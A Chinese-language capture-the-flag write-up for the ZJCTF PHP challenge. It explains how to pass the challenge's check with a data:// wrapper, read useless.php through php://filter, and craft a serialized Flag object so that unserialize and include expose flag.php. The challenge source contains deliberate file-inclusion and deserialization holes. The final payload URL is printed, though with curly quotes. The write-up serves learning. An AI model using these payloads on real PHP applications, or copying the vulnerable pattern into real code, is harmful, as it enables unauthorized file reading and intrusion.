源码
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
三个get参数
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
第一层判断,需要绕过这个判断
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")
file_get_contents是读取整个文件到一个字符串中,text是输入的get参数值,这里使用PHP伪协议中的data://
?text=data://text/plain,welcome to the zjctf
这里插句题外话,以前一直不太懂所谓PHP伪协议是什么东西,看了几篇博客后,才有了点认识
PHP伪协议
PHP伪协议是PHP 支持的协议与封装协议
说一下支持的协议file://
File协议
在自己电脑上浏览器里面输入file:///c://
回到这个题目
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
file里面不能有/flag/,不管这个
重点是
include($file); //useless.php
用另一个伪协议 php://filter
file=php://filter/read=convert.base64-encode/resource=useless.php
得到的base64解码得到useless.php内容
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
接下来该序列化得到password
<?php
class Flag{ //flag.php
public $file;
}
$a=new Flag();
$a->file="flag.php";
echo serialize($a);
?>
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
最终payload
?text=data://text/plain,welcome%20to%20the%20zjctf&file=useless.php&password=O:4:“Flag”:1:{s:4:“file”;s:8:“flag.php”;}
看网页源码即可